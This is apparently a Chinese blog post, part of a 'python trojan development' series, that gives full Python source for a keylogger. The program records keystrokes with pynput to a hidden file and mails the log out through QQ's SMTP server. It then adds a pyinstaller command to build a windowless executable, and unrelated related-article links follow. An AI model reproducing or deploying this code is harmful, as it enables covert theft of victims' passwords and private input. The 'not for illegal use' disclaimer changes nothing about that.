请勿用于非法用途!!!!!本人概不负责!!!原创作品,转载说明出处!!!!!

 from pynput.keyboard import Key,Listener
 import logging
 import os
 import smtplib
 from email.mime.text import MIMEText
 from PIL import ImageGrab
 import random
 from time import *
 from email.mime.multipart import MIMEMultipart
 from email.mime.text import MIMEText
 from email.mime.image import MIMEImage

 def send_mail(filename):
     file = open(filename,"r",encoding="UTF-8")
     data = file.read()
     file.close()
     msg_from='@qq.com'                                 #发送方邮箱
     passwd=''                                   #填入发送方邮箱的授权码
     msg_to=''

     subject="python邮件测试"                                     #主题
     content=data
     msg = MIMEText(content,"plain","utf-8")
     msg['Subject'] = subject
     msg['From'] = msg_from
     msg['To'] = msg_to
     try:
         s = smtplib.SMTP_SSL("smtp.qq.com",465)
         s.login(msg_from, passwd)
         s.sendmail(msg_from, msg_to, msg.as_string())
         print( "发送成功")
     except:
         print("发送失败")
     finally:
         s.quit()

 def mkdir(path):

     path = path.strip()
     # 去除尾部 \ 符号
     path = path.rstrip("\\")

     isExists = os.path.exists(path)

     # 判断结果
     if not isExists:

         os.makedirs(path)

        # print(path + ' 创建成功')
         return True
     else:
         # 如果目录存在则不创建,并提示目录已存在
        # print(path + ' 目录已存在')
         return False

 # 定义要创建的目录
 path = "C:\\hola\\"
 # 调用函数
 mkdir(path)

 logging.basicConfig(filename=(path+"keylog.txt"),format="%(asctime)s:%(message)s",level=logging.DEBUG)

 def press(key):
     logging.info(key)
     if key==Key.enter:
         return False

 with Listener(on_press = press) as listener:
     listener.join()

 send_mail(path+"keylog.txt")

打包时候注意了,有些命令层面的错误我就不说了,我这里直接上命令

 pyinstaller -F xx.py --hidden-pynput --noconsole

python trojan development 2nd —— use python to send mail and listen to the key board then combine them的更多相关文章

  1. python trojan development 1st —— use python to send mail and caputre the screen then combine them

    import smtplib from email.mime.text import MIMEText msg_from='1@qq.com' #发送方邮箱 passwd='bd' #填入发送方邮箱的 ...

  2. python trojan development 3rd —— use python to creative a simple shell

    前两篇文章的木马太被动,今天是通过socket和os来进行主动木马编写 有些s13,我真的搞不懂拿一些没过脑子的代码就放到网上去害人,骗流量,还某知名安全企业学院写的,真的服.我的代码自己运行过,很稳 ...

  3. Python Geospatial Development reading note(1)

    chapter 1, Summary: In this chapter, we briefly introduced the Python programming language and the m ...

  4. Beginning Python Games Development

    Like music and movies, video games are rapidly becoming an integral part of our lives. Over the year ...

  5. Python 3.4 send mail

    #coding=utf-8 #Python 3.4 https://docs.python.org/3.4/library/ #IDE:Visual Studio 2015 Window10 impo ...

  6. 【Python网络编程】利用Python进行TCP、UDP套接字编程

    之前实现了Java版本的TCP和UDP套接字编程的例子,于是决定结合Python的学习做一个Python版本的套接字编程实验. 流程如下: 1.一台客户机从其标准输入(键盘)读入一行字符,并通过其套接 ...

  7. 【转】linux和windows下安装python集成开发环境及其python包

    本系列分为两篇: 1.[转]windows和linux中搭建python集成开发环境IDE 2.[转]linux和windows下安装python集成开发环境及其python包 3.windows和l ...

  8. python公司面试题集锦 python面试题大全

    问题一:以下的代码的输出将是什么? 说出你的答案并解释. class Parent(object): x = 1 class Child1(Parent): pass class Child2(Par ...

  9. python 2016 大会 pyconsk ppt ---python dtrace

    https://github.com/pyconsk/2016-slides PyCon SK 2016 - March 2016 1DTrace and PythonJesús Cea Aviónj ...

随机推荐

  1. New in 10.2.2: C++ and Debugger Improvements

    In RAD Studio 10.2.2, we've made a number of great quality improvements for the C++ toolchain and fo ...

  2. Android 4.0开发之GridLayOut布局实践

    在上一篇教程中http://blog.csdn.net/dawanganban/article/details/9952379,我们初步学习了解了GridLayout的布局基本知识,通过学习知道,Gr ...

  3. Method for browsing internet of things and apparatus using the same

    A method for browsing Internet of things (IoT) and an apparatus using the same are provided. In the ...

  4. wpf控件设计时支持(3)

    原文:wpf控件设计时支持(3) wpf设计时调试 编辑模型 装饰器 1.wpf设计时调试 为了更好的了解wpf设计时框架,那么调试则非常重要,通过以下配置可以调试控件的设计时代码 (1)将启动项目配 ...

  5. Windows7配置QT-Android开发环境!

    配置QT5.2.0-Android版本: 进行windows7下的软件开发~不用使用eclipse开发android软件,配置之后就可以向写C++代码一样,去写APP在Android手机上去运行了! ...

  6. 希尔伯特空间(Hilbert Space)

    欧氏空间 → 线性空间 + 内积 ⇒ 内积空间(元素的长度,元素的夹角和正交) 内积空间 + 完备性 ⇒ 希尔伯特空间 0. 欧几里得空间 欧氏空间是一个特别的度量空间,它使得我们能够对其的拓扑性质, ...

  7. scrapy技术进阶-URL路径依赖

    方法1: #!/usr/bin/python # -*- coding: gbk -*- import time from scrapy.spider import BaseSpider from s ...

  8. Sequence Models and Long-Short Term Memory Networks

    LSTM’s in Pytorch Example: An LSTM for Part-of-Speech Tagging Exercise: Augmenting the LSTM part-of- ...

  9. 零元学Expression Blend 4 - Chapter 8 用实例了解布局容器系列-「Grid」

    原文:零元学Expression Blend 4 - Chapter 8 用实例了解布局容器系列-「Grid」 本系列将教大家以实做案例认识Blend 4 的布局容器,此章介绍的是Blend 4 里的 ...

  10. .net core 利用Selenium和PhantomJS后台生成EChart图片

    1.引用 NuGet安装: Selenium.Support Selenium.WebDriver Selenium.WebDriver.PhantomJS.CrossPlatform  (分布Lin ...